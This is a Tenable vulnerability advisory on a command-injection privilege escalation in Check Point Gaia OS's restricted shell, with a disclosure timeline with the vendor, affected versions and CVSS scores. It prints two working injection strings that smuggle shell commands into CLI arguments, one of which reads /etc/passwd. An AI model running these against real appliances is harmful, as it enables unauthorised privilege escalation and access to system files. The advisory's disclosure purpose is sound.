Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R3] Check Point Gaia OS Privilege Escalation

Medium

Synopsis

Check Point's Gaia OS drops SSH users into a restricted shell. The shell limits all but users with expert access from executing bash commands. However, with proper formatting, a low privileged user can trick the shell into executing arbitrary commands as the admin user.

For example, the lowest level user is the monitor user. This account should have very limited access. However, an attacker can execute bash commands through the show fcd command and read the output using load configuration:

checkpoint> show fcd Tenable;echo\ $(whoami;id;)>/tmp/monitor-out; all
checkpoint> load configuration /tmp/monitor-out
CLINFR0329  Invalid command:'admin uid=0(admin) gid=0(root)'.
Done.                                                        
CLICMD0159  Error at line 1. Could not execute all commands successfully.
checkpoint>

A more convenient vector for admin users (uid 0) is to use show installer package since it doesn't require a second command to read the output:

checkpoint> show installer package *;cat\ /etc/passwd>/dev/stderr;#
admin:x:0:0::/home/admin:/etc/cli.sh
monitor:x:102:100:Monitor:/home/monitor:/etc/cli.sh
root:x:0:0:root:/root:/sbin/nologin
test:x:0:100:Test:/home/test:/etc/cli.sh
nobody:x:99:99:Nobody:/:/sbin/nologin
postfix:x:1001:1001:Postfix:/home/postfix:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
qauser:x:0:100:Qauser:/home/qauser:/etc/cli.sh
pcap:x:77:77::/var/arpwatch:/sbin/nologin
halt:x:7:0:halt:/sbin:/sbin/halt
lowpriv2:x:0:100:Lowpriv2:/home/lowpriv2:/etc/cli.sh
lowpriv:x:1337:100:Lowpriv:/home/lowpriv:/etc/cli.sh
cp_postgres:x:1008:0:Postgres:/home/cp_postgres:/bin/sh
_nonlocl:x:96:100:Non-local user:/home/_nonlocl:/etc/cli.sh
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
checkpoint>

Solution

Follow the vendor's guidelines here.

Disclosure Timeline

11/16/2017 - Issue discovered.
11/17/2017 - Tenable emails a description of vulnerability to Check Point.
11/20/2017 - Check Point acknowledges the vulnerability and claims their own internal audit already flagged this. Planned patch release for Q1-2018.
11/27/2017 - Tenable asks if a CVE has been assigned. Offers to assign one if not. Also informs Check Point of 90 day disclosure policy.
11/28/2017 - Check Point ignores Tenable's CVE/disclosure information and reiterates that they found the vulnerability already. Offers researcher a "cool Cyber Ninja T-shirt".
02/20/2018 - Tenable emails Check Point that the 90 days have passed and no patch is available.
02/20/2018 - Check Point claims Tenable is "ignoring [their] feedback that we already found this issue internally before you reported it."
02/20/2018 - Tenable informs Check Point that independent discovery is a thing and we do plan to release an advisory with or without patches.
02/21/2018 - Check Point tells Tenable that they will share patch dates shortly.
02/26/2018 - Check Point says patches were released 02-15-2018 and 02-26-2018.
02/26/2018 - Tenable informs Check Point that they will be publishing an advisory since patches have been released.
02/26/2018 - Check Point asks Tenable not to publish an advisory today.
02/27/2018 - Check Point releases an advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2018-04
Credit:
Evan Grant
CVSSv2 Base / Temporal Score:
6.5 / 5.7
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:P/I:P/A:P
Nessus Plugin ID: 107072
Affected Products:
Check Point R77.20
Check Point R77.30
Check Point R80.10
Check Point Scalable Platforms
Risk Factor:
Medium

Advisory Timeline

02/26/2018 - [R1] Initial Release
02/26/2018 - [R2] Fixed the year in the patch dates mentioned in the disclosure timeline
02/28/2018 - [R3] Added link to Check Point advisory. Updated our advisory to include R80.10 since that is public now as well.